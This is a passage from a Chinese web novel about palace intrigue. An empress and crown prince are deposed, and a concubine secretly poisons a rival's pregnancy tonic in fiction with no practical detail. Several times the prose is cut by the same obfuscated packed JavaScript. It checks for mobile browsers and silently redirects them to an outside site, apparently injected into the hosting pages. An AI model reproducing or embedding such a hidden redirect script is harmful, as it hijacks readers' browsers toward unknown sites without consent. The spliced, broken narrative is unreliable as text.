陆乘听到废后二字失声惊呼,他只知道母后是来请罪的,却万万没想到母后竟决绝到要自请废后。 他猛地抬头看向龙椅上的皇帝,眼中充满哀求:“父皇!母后何辜,外祖家之罪岂能尽归母后一人,求父皇开恩留母后一命!” 陆乘此刻是真的慌了。 他以为父皇最多是斥责母后,剥夺她掌管后宫的权力,却没想到母后直接将自己逼到绝路。 朝堂之上陷入一片死寂。 林皇后这决绝的请罪和废后请求,让人震惊于她的刚烈。 皇帝的脸色在林皇后说出废后二字时,几不可察地缓和了一丝。 这正是他想要的。 林家已倒,留着这个林家女做皇后,对他属意的继承人四皇子陆雍都是障碍。 眼神转到陆乘的身上,皇帝眼底掠过一丝杀意。 林家倒台,太子这个流着林家血脉的储君,就是最大的隐患,他怎么可能留下后患。 皇帝没有立刻表态,用眼神极其隐晦地扫了眼站在文官前列的几位心腹大臣。 当即。 斥责皇后干政的老御史再次站出来,声音洪亮,充满了义愤: “太子殿下此言差矣,皇后娘娘虽自请废后,然其父林崇罪孽滔天,桩桩件件罄竹难书!” “太子殿下身为储君,更是奉国公府外孙,与那林衡朝夕相处亲密无间,东宫之中唯一的林良娣便是林氏贵女。” “林家所做之事太子殿下岂能真的一无所知,依老臣看,太子殿下此言名为求情,实则是想为林家余孽开脱,此乃包庇之罪!” “正是!” 吏部侍郎立刻跟进,言辞犀利:“太子殿下与林衡关系莫逆朝野皆知,林衡仗势欺人,横行不法之时,太子殿下非但未曾劝阻,反而多有纵容!” “如今林家事发,太子殿下便想撇清关系,将罪责尽数推给已死之人,再以母子之情裹胁陛下,其心可诛!” “臣以为,太子殿下对此事绝不可能毫不知情,甚至可能参与其中!” “臣附议!” “太子殿下难辞其咎!” 一时间,数位大臣纷纷出列,将矛头直指陆乘。 秦休冷眼旁观着这一幕,心中冷笑。 皇帝的心思,昭然若揭。 这是要借林家倒台之势,彻底废掉太子,他不动声色,并未发言。 林家倒了,太子废了,朝局将重新洗牌,这对他后续的计划未必是坏事。 平江侯等人也沉默着,事涉储位,谁也不敢轻易表态。 林皇后伏在地上,听着那些大臣们对儿子一句句诛心的指控,身体控制不住地微微颤抖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984792|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 果然如此,她的好夫君不仅要废了她,更要借着这个机会彻底废掉她的乘儿,将林家连同他们母子,连根拔起,不留一丝余地! 她太了解他了。 凉薄、自私、猜忌、为达目的不择手段。 几十年的夫妻,她早已看透了他。 自己今日这番请罪,这番自请废后,在他眼里恐怕只是跳梁小丑的表演,是给他递上的除掉她们母子的最好借口。 皇帝看着下面群情激愤的场面,心中满意。 他正欲开口,坐实太子的罪名,顺势废储。 林皇后缓缓抬起头,额头的血迹刺眼,她看向被大臣们**的儿子,眼中充满无尽的绝望。 她深吸一口气,用尽全身力气开口: “陛下,诸位大人,我儿陆乘年少气盛,或有失察之处。” “然林家之罪皆系林崇父子所为,与我儿无涉,若论罪责皆因我林氏血脉而起。” “罪妇林氏愿以一身性命,抵偿林家罪孽。“ ”只求陛下念在父子一场,留我儿一条生路!” 她再次重重叩首:“罪妇甘愿受死!只求陛下开恩!” “母后!不要!” 陆乘明白了,母后这是在用自己的命换他的命。 他挣扎着想要扑过去,却被殿前侍卫死死拦住。 皇帝脸色瞬间阴沉到了极点。 这个**竟敢以死相逼,让他这个皇帝背上逼死发妻的骂名,还要让他放过太子这个隐患。 休想! “一派胡言!” 皇帝猛地一拍龙案,气得脸色铁青,胸口剧烈起伏: “皇后!你身犯大错,不思己过,竟敢在金銮殿上妄言生死,以命要挟于朕!” “你眼里还有没有朕这个皇帝,还有没有祖宗法度?” 千钧一发之际,殿外再次传来急促的脚步声。 一名身着禁军统领服饰的将领冲入大殿,单膝跪地,声音带着喘息: “启禀陛下!奉国公府急报!奉国公全府上下已于半个时辰前,在府内灵堂饮下毒酒自尽身亡!” 第一百三十一章刑法 “爹!娘!” 皇后眼前一黑,鲜血从口中溢出,染红了胸前的素衣。 “母后!” 陆乘不顾一切地挣脱侍卫,扑过去抱住倒下的皇后。 “太医!快传太医!”陆乘绝望地喊道。 然而,龙椅上的皇帝看着下面抱着皇后,状若疯狂的太子,只觉得无比碍眼。 “陛下!林家满门主犯已畏罪自尽,此乃天意昭彰,然皇后娘娘与太子殿下其罪难逃,请陛下圣裁!” 陆乘猛地抬起头,布满血丝的双眼,死死盯住龙椅上的皇帝。 他全明白了,什么父子亲情,什么君臣之义,全都是狗屁! 他的好父皇从始至终想要的就是他们母子的命,他是要彻底抹掉林家的一切痕迹,为他那个心爱的秦贵妃和四皇子铺路。 “哈哈哈哈!” 陆乘抱着昏迷的母亲,突然疯狂大笑,笑声中充满无尽的绝望。 他指着龙椅上的皇帝,声音嘶哑: “我的好父皇,好一个圣明君主,好一个鸟尽弓藏,兔死狗烹。” “陆禀!你终于如愿了,林家倒了,外祖父**,舅舅**,现在你连我母后也不放过,连我也不放过是不是!” “放肆!逆子!你敢直呼朕名?!”皇帝勃然大怒,气得浑身发抖。 “放肆?” 陆乘毫不畏惧:“我今日就放肆了又如何,你摸摸你的良心,这些年你做了多少亏心事?” “为了你这身龙袍,你弑父篡位,为了你的江山稳固,你猜忌忠良,构陷功臣!” “姜家满门忠烈,为你戍守北境,立下赫赫战功,结果呢?被你卸磨杀驴,明升暗贬,扔到岭南等死!” “就因为他们功高震主,就因为你怕,你怕我外祖家势大,怕我母后和我威胁你的皇位,如今林家到了你连最后一点遮羞布都不要了,迫不及待地要对我们母子下手了!” 满朝文武无不骇然变色,有些事大家心知肚明,但从未有人敢如此赤裸裸地在金銮殿上说出来。 “住口!你这孽障!给朕住口!”皇帝气得脸色青紫,胸口一阵翻江倒海。 陆乘却仿佛豁出去了,将心中积压多年的怨愤尽数倾泻: “还有三年前北狄叩关,镇北军主帅请求增援粮草军械的奏报雪片般飞来,你刚愎自用听信谗言,认为边将在夸大敌情意图索要钱粮!” “是你压下了所有求援奏报,扣拖延了运往前线的粮草军械,结果云州、朔州、凉州三城接连失守,数万边军将士浴血奋战却因粮草断绝,兵甲残破而全军覆没!” “数十万百姓惨遭屠戮,尸横遍野,血流成河,这笔血债该算在谁头上,你敢认吗,你配坐在这龙椅上吗?你就是个昏君!**!刽子手!” “噗!” 龙椅上的皇帝猛地喷出一大口鲜血,身体晃了晃,险些从龙椅上栽倒下来。 鲜红的血液喷溅在明黄的龙袍和身前的御案上,触目惊心。 “陛下!” “护驾!快护驾!” 殿内瞬间乱成一团!太监宫女惊慌失措地涌上去搀扶皇帝。 “逆子…逆子…” 皇帝脸色灰败地捂着剧痛的胸口,指着下面抱着皇后,一脸疯狂和快意的陆乘,眼中充满了前所未有的怨毒。 “给朕拿下这个忤逆不孝,诽谤君父的畜生!废黜其太子之位!打入东宫终生幽禁!无朕旨意永世不得出!” “还有皇后林氏…”皇帝喘着粗气,看着昏迷不醒的发妻,眼中只有厌恶,“废黜后位褫夺一切封号,打入冷宫终生幽禁,至死不得出!” “父皇!你不得好死!”陆乘高声喊道。 一场震动朝野的废后废储风波,在父子反目,血染金銮殿的惨烈场景中落下帷幕。 皇后林氏被废,终生幽禁冷宫。 太子陆乘被废,幽禁东宫,形同囚徒。 显赫一时的林家,彻底烟消云散,只留下无数唏嘘。 秦休站在武将班列中,冷眼看着这皇家倾轧的闹剧,心中毫无波澜。 皇帝吐血,太子被废,皇后幽禁。 朝堂的天彻底变了。 宁阁。 姜清宁很快便收到宫中这场惊变的所有细节。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白清漪身体猛地一颤,一道新的血痕斜斜覆盖在旧伤之上,火辣辣的剧痛让她眼前发黑。 第一百三十二章白清漪的阴谋 白清漪指甲深深嵌入掌心,用痛楚来提醒自己清醒。 “夫人息怒!” 旁边侍立的一个小桃吓得脸色惨白,扑通一声跪倒在地,声音带着哭腔。 “白姨娘身子弱,求夫人开恩,饶了她这次吧……” “滚开!” 姜如意一脚踹开桃儿,嫌恶地瞪着她。 “你也是个吃里扒外的贱蹄子,再敢多嘴连你一起打!” 她看着白清漪背上交错的血痕,看着那隐忍却依旧清丽动人的侧脸,心中的嫉恨难以收敛。 凭什么这个低贱的表妹能得了荀臣的几分怜惜? 凭什么她还能有那样一张勾人的脸?而自己费尽心机才怀上这个孩子,却还要日日提防! “两个时辰,跪满!” 姜如意丢下鞭子冷冷地命令,随即又抚上小腹,脸上露出一丝得意的笑容。 “本夫人要去用安胎药了,你就在这里好好反省!” 姜如意在丫鬟的搀扶下施施然起身,走向内室,临走前还不忘丢给白清漪一个充满恶意的眼神。 直到姜如意的身影消失在珠帘后,小桃才敢爬起来,连滚爬爬地扑到白清漪身边,看着那血肉模糊的后背,眼泪像断了线的珠子一样往下掉。 “姨娘您怎么样,疼不疼,奴婢这就给您上药……” 她声音哽咽,手忙脚乱地从怀里掏出一个小瓷瓶,里面是偷偷藏起来的金疮药。 冰凉的药粉接触到伤口,带来一阵刺骨的痛,白清漪的身体又是一阵紧绷。 小姚一边小心翼翼地撒药,一边忍不住低声哭诉:“夫人她太过分了,日日这样折磨您,这日子什么时候是个头啊。” 白清漪微微侧过头,看着小桃哭红的眼睛和满是心疼的脸。 在这个**的府邸里,桃儿是唯一真心待她的人。 她抬手轻轻拂去桃儿脸上的泪珠,声音嘶哑却异常平静:“别哭傻丫头,这点伤死不了人。” “可是……”小桃看着那狰狞的伤口,心疼得无以复加。 白清漪打断她,眼神锐利起来,压低声音问:“桃儿,我让你做的事可曾懈怠?” 小桃浑身一颤,脸上的血色瞬间褪尽,眼中充满恐惧。 她下意识地左右张望了一下,确认无人注意这边,才用几乎听不见的气音颤抖着回答:“没有,奴婢每日都按姨娘吩咐的,在夫人晨起的那碗安胎药里加了那东西,一次都不敢落下。” 白清漪闻言满意地点点头,声音更低:“很好,记住这件事烂在肚子里,若被第三个人知道,不仅是我,你,还有你在乡下的爹娘和弟弟都活不成。” 小桃吓得浑身发抖,连连点头,眼泪又涌了上来:“奴婢知道,奴婢死也不敢说,可是姨娘,那药真的不会被人发现吗?万一……” “没有万一。” 白清漪的声音斩钉截铁:“那东西无色无味入水即化,混在安胎药里,便是宫里的太医也未必能察觉。” “况且……”她顿了顿,眼中闪过一丝刻骨的恨意,“她姜如意不是仗着这个孽种耀武扬威吗,那就让她好好养着,养得越大越好!” 她也是偶然得知姜如意这个孩子的真相。 那日荀臣中药与姜如意厮混后,姜如意回到府中唯恐不能一次中,立刻服下了极其霸道的坐胎药。 若非如此,姜如意又怎会因祸得福,在小佛堂静心祈福时被诊出喜脉,被安平伯老夫人当成宝贝疙瘩一样风风光光地接了出来。 彻底断绝白清漪最后一丝的希望。 既然她白清漪此生注定无法拥有自己的孩子,那么与其让姜如意生下荀臣的孩子,日后骑在她头上,或者让那个已经记在姜如意名下的白眼狼荀莫离继承一切,不如釜底抽薪。 姜如意不是想母凭子贵吗? 她就让她贵到极致,让那个孩子在她肚子里长得健壮无比,大到生产之时足以要了她的命,即便是不死也要残废。 到时候安平伯老夫人为了保住孙子,必定会选择保小,而她白清漪作为府中唯一有名分又温婉贤淑的女人,自然是最合适的抚养人选。 只要孩子在她手里,再寻机除掉碍事的姜如意,被扶正为继室夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998719|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人便指日可待。 想到此处,白清漪眼中闪过一丝狂热的光芒,背上的鞭伤似乎也不那么疼了。 她承受着姜如意日复一日的**,就是为了等待那个致命时刻的到来。 内室里弥漫着淡淡的药香。 姜如意皱着眉,看着丫鬟端上来的那碗黑漆漆的安胎药。 自从怀孕后,这苦涩的药汁就成了她每日的噩梦。 “夫人,药好了,太医说了,得趁热喝才有效。”大丫鬟春杏小心翼翼地劝道。 姜如意不耐烦地挥挥手:“知道了,放下吧。” 她端起药碗,看着碗中倒映出自己略显浮肿的脸,心中更是烦躁。 怀孕的辛苦,荀臣的日渐冷淡都让她心绪难平。 她捏着鼻子,正要将药灌下去,眼角的余光瞥见珠帘外,那个依旧跪得笔直,后背染血的素白身影。 一丝扭曲的快意涌上心头。 她故意将药碗端得更高些,让白清漪能清楚地看到,然后才慢条斯理地将药汁一饮而尽。 药汁苦涩难当,姜如意被呛得咳嗽了几声,春杏连忙递上蜜饯。 她含了一颗在嘴里,压下那股恶心感,目光却始终盯着珠帘外的白清漪。 白清漪低垂着头,仿佛对一切都无知无觉。 然而在姜如意看不到的角度,她的唇角缓慢地勾起了一抹期待的弧度。 白清漪缓缓闭上眼,将眼底翻涌的疯狂恨意和炽热野心,尽数掩藏在低垂的睫毛之下。 深夜,凝香苑偏院的简陋厢房内。 光线昏暗,白清漪趴在硬邦邦的床榻上,背上盖着一层薄薄的细棉布。 小桃正含着泪,小心翼翼地给她已经清理过伤口的背上,涂抹着气味清凉的药膏。 “嘶……”药膏触碰到最深的伤口,白清漪忍不住吸了口冷气。 “姨娘,您忍着点。” 小桃心疼得手都在抖,哽咽道:“这伤怕是又要留疤了,夫人她怎么能下这么重的手……” 她想起白日里鞭子抽下去的狠厉,就觉得不寒而栗。 第一百三十三章安胎药 “留疤又如何?” 白清漪格外冷静道:“皮囊而已,重要的是活着,活得比那些想让你死的人更好。” 小桃的手顿住,一股寒意从脚底直窜头顶。 小桃的声音带着哭腔:“姨娘,我们真的要那样做吗?那毕竟是一条命啊,万一被发现了……” 白清漪猛地睁开眼,转过头看向小桃,吓得小桃瞬间噤声,脸色惨白地跪在地上。 “一条命?她姜如意磋磨我,想置我于死地的时候,可曾想过我是不是一条命?” “小桃,记住,在这深宅大院里,不是你死就是我亡,心慈手软死的就是我们!” 她看着小桃吓得瑟瑟发抖的样子,语气稍微放缓:“你是我从人牙子手里救回来的,你的爹娘,你的弟弟,还在乡下靠着我每月让人送去的银钱过活。” “小桃,我们是一条船上的人,船翻了谁都活不了,只有按我说的做我们才能活下去,才能有出路。” “等将来我成了这府里的女主人,你就是我身边最得力的大丫鬟,你的家人我也会好好安置,否则……” 小桃猛地打了个寒战,她用力地点点头,声音是豁出去的颤抖:“奴婢明白了,奴婢都听姨娘的,奴婢会小心的,绝不让任何人发现。” 白清漪这才满意地重新闭上眼,声音恢复了之前的平静:“嗯,继续上药吧。” 小桃颤抖着手,继续涂抹药膏。 松鹤堂。 安平伯老夫人斜倚在铺着厚厚软垫的炕上,手里捻着一串佛珠,闭目养神。 短短几个月的时间,如今她养得面容富态,看着就保养得宜,只是眉宇间带着一丝挥之不去的愁绪和算计。 心腹嬷嬷周妈妈轻手轻脚地进来,低声道:“老夫人,凝香苑那边夫人今日又动了气,罚白姨娘跪了两个时辰,还动了鞭子。” 老夫人捻动佛珠的手微微一顿,眉头蹙起,语气带着不满: “如意这丫头怎么如此沉不住气,怀着身子的人最忌动怒,那白氏不过是个上不得台面的贱妾,值得她这样大动肝火?万一动了胎气可如何是好!” 周妈妈连忙道:“夫人也是气不过那白氏狐媚惑主,不过老奴瞧着夫人用完安胎药后气色尚好,应当无碍,只是那白姨娘背上的伤……” “哼!”老夫人冷哼一声,眼中闪过一丝刻薄,“一个贱婢,皮糙肉厚的打几下算什么?只要不伤着脸,不耽误她日后伺候臣儿,随如意折腾去,眼不见为净。” 在她眼里,白清漪不过是个玩意儿,一个用来拴住儿子的工具,只要姜如意肚子里的金孙没事,白清漪是死是活她并不真正关心。 “老夫人说的是。” 周妈妈连忙附和,随即又压低声音,“只是夫人这胎怀相似乎,太医说胎儿似乎比寻常月份大了些,夫人自己也总说腰酸背痛得喘不过气。” 老夫人闻言非但没有担忧,浑浊的老眼反而亮了起来,脸上露出一丝喜色: “大了些好啊!这说明我孙儿长得壮实,是个有福气的,酸点痛点怕什么,女人生孩子哪有不遭罪的?” “告诉太医用好药,务必给我把孙儿养得白白胖胖的,至于如意生产时若真有什么万一,记得告诉稳婆保小,无论如何,我安平伯府的嫡孙绝不能有失!” “是,老奴记下了。”周妈妈心头一凛,连忙应道。 她知道在老夫人心里,姜如意这个儿媳妇的分量,远不及她肚子里那个尚未出世的嫡孙。 与此同时,前院书房。 荀臣阴面前摊着一本账册,却一个字也看不进去。 外面的风言风语,一桩桩一件件都让他心惊肉跳。 他依附的大树倒了,京城的天也变了。 而这一切变化的背后,似乎总有一个他既熟悉的身影若隐若现。 他烦躁地合上账册,起身走到窗边推开窗户,任由冷风灌入,吹散心头的郁气。 翌日。 药罐里的安胎药咕嘟咕嘟翻滚着,苦涩的气味弥漫在狭窄的灶房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998720|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角落。 小桃飞快地左右瞟了一眼,确认四下无人,才抖索着将手伸进去袖袋的深处,摸出一个小小的油纸包。 纸包展开,里面是些近乎无味的灰白色粉末。 她屏住呼吸,手腕却抖得厉害,粉末簌簌落下,大半撒在炉台边沿,只有一小部分落入了翻滚的褐色药汁里。 小桃心跳如擂鼓,慌忙用手指胡乱搅了几下,滚烫的药汁烫得她一缩手,指尖瞬间红了一片。 她顾不得疼,手忙脚乱地将炉火调小,又用抹布狠狠擦掉炉台上的痕迹,直到看不出一点异样,才虚脱般地靠在墙壁上,大口喘着气。 “药熬好了吗?” 一个粗使婆子探头进来,狐疑地打量着小桃惨白的脸和额角的冷汗。 “怎么这副鬼样子?仔细点!夫人的安胎药可马虎不得!” “好…好了,嬷嬷,这就好。” 小桃猛地站直,慌乱地找出一个天青色的细瓷碗,舀了满满一碗药双手捧着,脚步虚浮地朝的正房走去。 姜如意斜倚在贵妃榻上,两个小丫鬟跪在榻前,小心翼翼地给她揉捏着肿胀的小腿。 “夫人,安胎药来了。” 小桃的声音细若蚊蚋,将药碗高举过顶跪下。 姜如意懒洋洋地抬了抬眼皮,瞥了那碗药一眼,随即厌恶地皱紧鼻子: “又是这劳什子苦水,闻着就恶心,端下去倒了!” 她烦躁地挥手。 旁边侍立的丫鬟连忙上前,带着讨好的笑劝道: “夫人,太医千叮咛万嘱咐这药每日必得按时服下,方能使小少爷长得更康健壮实呢,老夫人也日日惦记着,说小少爷在您肚子里这般出息都是夫人的功劳,这药可万万断不得。” 姜如意盯着那碗药,半晌才极其勉强地伸出手:“拿来,磨磨蹭蹭的存心想惹我生气是不是,一群没用的东西。” 她夺过药碗,几乎是捏着鼻子,一口气灌了下去,而后嫌恶地用帕子狠狠擦拭着。 第一百三十四章贵妃召见 小桃一直垂着头,视线死死盯着地砖上的膝盖,听着头顶的吞咽声,胃里一阵翻江倒海。 姜如意将空碗重重搁在托盘里,目光扫过小桃单薄的身影,嘴角扯出一个刻薄的笑: “怎么,白氏那个**挨了鞭子,让你这小蹄子也跟着魂不守舍了,可是心疼你主子了,连侍奉本夫人都不愿意了?” 小桃浑身一颤,头埋得更低:“奴婢不敢,婢只是担心夫人身体,怕这药太苦。” “少在这儿假惺惺!” 姜如意厉声打断,激动的胸口剧烈起伏,脸色更白了几分。 “滚回你主子那儿去,告诉她好好养着她那张狐媚子的脸皮,等本夫人顺利诞下嫡子腾出手来,再好好疼她!” “是,夫人。”小桃如蒙大赦,几乎是手脚并用地爬起来退出去。 安平伯老夫人捻着佛珠,听着周妈妈低声回禀凝香苑的情形。 “夫人还是嫌药苦,发了好大一通脾气,不过好歹是喝下去了。”周妈妈觑着老夫人的脸色,小心措辞。 老夫人闭着眼,手指一颗颗捻过光滑的檀木珠子,脸上没什么表情,只从鼻子里哼出一声: “由着她闹,怀着我荀家的金孙,这点脾气算什么,只要药喝下去就行,那白氏可还老实?” “白姨娘那边倒是安静,一直闭门养伤,小桃那丫头看着吓得不轻,从凝香苑出来时脸白得像纸。” “哼,没用的东西。” 老夫人嘴角向下撇了撇,嫌弃道:“打几鞭子就吓破了胆,当初**进府就该知道这深宅里是什么地方,只要那张脸没破相,能拴住臣儿的心,旁的都是小事。” “太医今日来请脉怎么说?” 周妈妈连忙凑近些,声音压得更低:“张太医私下跟老奴说,夫人这胎怀相确实有些奇特,脉象略显沉滞浑浊,胎儿比寻常月份大了不止一圈。” 她直起身子,佛珠也忘了捻,“去告诉张太医,人参、鹿茸、燕窝,库房里最好的补品只管用,务必给我把孙儿养得白白胖胖,结结实实的。” 窗外天色阴沉,云层压得很低,带着山雨欲来的沉闷。 荀臣的心口被堵得喘不过气。 京城的风向变得太快了,这两日林府上下连只狗都没能幸免,抄家、灭门、九族流放……这些消息日日盘旋在勋贵圈子中。 “啪!” 荀臣烦躁地将笔扔下,几步走到窗边,用力推开沉重的雕花木窗。 风瞬间灌入,吹得他衣袍猎猎作响,吹散了书房里令人窒息的气息。 他深吸一口气,试图压下心头翻涌的不安,扶着窗棂的指节发白。 殿内,名贵的龙涎香丝丝缕缕。 凤穿牡丹屏风前,秦贵妃慵懒地倚在铺着雪白狐皮的贵妃榻上。 她穿着最时新的绛紫宫装,裙摆用金线密密绣着百鸟图案,发髻高耸,一支赤金点翠衔珠九尾凤钗斜插,凤口垂下的东珠流苏随着她转头的动作轻轻晃动,映着那双深邃凤目里流转的精光。 她指尖的丹蔻深红,轻轻点在手中那只薄如蝉翼的定窑白瓷茶盏上。 “清宁,” 秦贵妃的声音带着一种熟稔的亲昵,目光落在下首端坐的姜清宁身上。 “有些日子没传你入宫了,本宫这里倒是冷清了不少。” “本宫那傻弟弟,前些日子忙得脚不沾地,连给本宫请安都匆匆忙忙的,你可知他忙些什么?” 姜清宁端坐在绣墩上,背脊挺得笔直。 她穿着一身天水碧的素缎衣裙,只在领口和袖口绣着几道极淡的银线缠枝莲纹,通身上下再无多余饰物。 一头乌发简单地绾了个单螺髻,簪着一支素银扁簪,清减得与这金碧辉煌的宫殿格格不入。 听到问话,她眼睫微垂,目光落在自己捧着的茶盏里。 澄澈的茶汤中几片碧螺春的嫩芽沉沉浮浮,如同她此刻难以平静的心绪。 她沉默一息,才抬起眼,迎上秦贵妃的目光,声音清冽平静:“回娘娘,秦大人所行之事自有深意,臣女不敢妄加揣测。” “不敢揣测?”秦贵妃轻笑出声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005676|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那本宫告诉你,本宫那弟弟为了替你扫清这块绊脚石,可是眼都不曾眨一下,雷霆手段,干净利落,连陛下都赞他虎父无犬子。” 姜清宁握着茶盏的手指微微收紧,秦贵妃的话撕开了那层看似平静的帷幕,将秦休为她所做的赤裸裸地摊开在她面前。 殿内一时寂静。 秦贵妃满意地看着姜清宁的脸色,再次开口,添了几分推心置腹般的意味: “清宁,本宫与你投缘,也不愿兜圈子,如今林家这根刺已除,你父亲在岭南的压力自会消减许多。” “本宫那弟弟秦休对你如何,想必你心中自有衡量,他为你做到如此地步,其心可昭日月,今日召你前来,本宫就是想亲耳听听你的意思,你意下如何?” 姜清宁感到喉头有些发紧。 她无法否认,自己对秦休是有情愫了。 然而,她成了孤女,父母兄长远在瘴疠之地,鞭长莫及,生死前程皆系于帝王一念之间。 她孑然一身,如浮萍飘零。 国公府是我朝最顶尖的勋贵门庭之一,权势煊赫,如日中天。 秦贵妃已是后宫实质上的至尊,四皇子陆雍圣眷正浓,秦国公府世子夫人的位置,又是多少高门贵女梦寐以求的青云梯。 这真的是她能攀附的吗? 她指尖冰凉,缓缓抬起眼,声音竭力维持着平静:“娘娘厚爱,臣女惶恐。” “秦世子龙章凤姿,人中龙凤,待臣女之心意赤城,臣女并非草木,岂能无知无觉?只是……” 她深吸一口气:“臣女如今孑然一身,无枝可依,家门不幸,父母兄长远戍岭南前程未卜。” “臣女唯恐自身微贱,福薄缘浅,徒惹非议,更恐连累世子清誉玷污国公府门楣,高攀二字,实不敢当。” “孑然一身,不敢高攀……” 秦贵妃低声重复着这几个字,仔细审视着姜清宁的表情,忽的轻笑。 “罢了,你这丫头心思重,顾虑也多,本宫今日召你来本是想叙叙旧,倒惹得你这般为难。” 第一百三十五章秦休赶来 她话锋一转,语气家常而随意:“说起来岭南的荔枝贡快到了吧,往年总嫌路途遥远,送到京中已失了鲜甜。” “本宫幼时最是贪嘴,今年也不知是否能尝个鲜。” 姜清宁微微一怔,顺着秦贵妃的话头微笑:“回娘娘,岭南湿热,荔枝确比京中早些成熟。” “然路途遥远,纵是快马加鞭,送到京中也恐风味略减,可与各国进贡的新鲜瓜果相比,不过是寻常之物。” 她不是没尝试过经商让商队走去岭南,但中途路途艰险多年来匪盗猖狂不说,光是之间耗费的人力物力都是寻常商队难以承受的,更没有岭南那边的车队接应,艰难之际。 更不要说从岭南运来的荔枝,即便是早熟的,运过来也多半坏了。 “寻常之物?”秦贵妃挑眉,“本宫听闻那里山高林密,多瘴气毒虫,百姓生活颇为不易,清宁你却觉得荔枝是寻常之物?” “皇家有皇商专门走特殊的渠道运送,而一般的岭南荔枝商,却不会费尽千辛万苦地将岭南送来京城,如今匪盗猖獗人命更是重要,所以清宁觉得与人命相比荔枝更是寻常。” “你倒是颇有见解,这番言论倒是让本宫刮目相看,不曾想你对地方经商还有如此的了解,倒是不愧是能在京城站稳脚跟的奇女子。” 秦贵妃夸赞一番,不着痕迹地引开话题。 “本宫记得没错,你今年才二十有四,和承元倒是一般大的?” “贵妃娘娘好记性,不过清宁是二月二的生辰,秦大人是十月十一,倒是比清宁小上几个月。” “哦?你不喜欢比自己小的男子?还是单单说不喜欢承元?” 姜清宁顿了下,斟酌着开口:“娘娘,两者并不能混为一谈,寻常男子像秦大人如此年纪,便已经建功立业的更是屈指可数,秦大人是国之栋梁,清宁岂敢对他讨厌。” 秦贵妃似笑非笑地看着她,端起茶盏,随口吩咐侍立在侧的掌事大宫女: “去看看,世子今日可当值,若是在府里叫他即刻进宫一趟,就说本宫新得了几味好茶让他来品品,顺便接个人。”她的目光似笑非笑地掠过下首的姜清宁。 宫女心领神会,立刻垂首应道:“是,娘娘。” 姜清宁端着茶盏的手几不可察地一颤,心头无名地泛起一阵紧张感。 “贵妃娘娘,其实不用秦大人接的,贵妃娘娘若是疲累了,清宁便先行告退。” 姜清宁放下茶盏起身,恭敬地行礼道。 “不必麻烦,送你出宫一趟是送,承元来了之后送他也是送,若非你们二人相熟,本宫也不会贸然开口了。” “……是。”姜清宁无奈,坐了回去。 秦贵妃不再说话,只慢条斯理地品着茶,目光偶尔掠过殿门的方向,带着看好戏般的玩味。 未过许久,一阵急促的脚步声由远及近。 “砰!” 紧闭殿门被一股大力从外面猛地撞开,殿内烛火仿佛都被这股劲风震得晃了晃。 一道高大挺拔的身影挟骤然闯入,映入眼帘的是二人最为熟悉的面孔。 秦休显然来得极其匆忙,甚至来不及更换身上的绯红色官服,急切的神情衬得他的容颜此刻愈发面冠如玉,眼尾甚至都泛着红意。 在见到林氏一族服毒**的尸体时都面不改色的人,此刻却是真的慌了神色,生怕他的心上人误会了什么。 他目光灼灼地盯在姜清宁身上,大步流星地走到她面前。 两人之间的距离骤然拉近。 “姜清宁,你可还好?” “我?秦大人,我能有什么事啊?” 姜清宁被迫仰起头,才能对上他的双眼。 高座之上。 秦贵妃端着茶盏的手,几不可察地顿了一下。 良久,大脑似乎是转了过来弯。 感情承元这小子,是觉得她故意在逼迫他未来的妻子呢? 她优雅地放下手中的茶盏,瓷器与紫檀木案几相碰,发出一声清脆的微响,打破了殿内的死寂。 “好了。”秦贵妃的声音响起,带着纵容。 她的目光掠过下方的男女,唇角 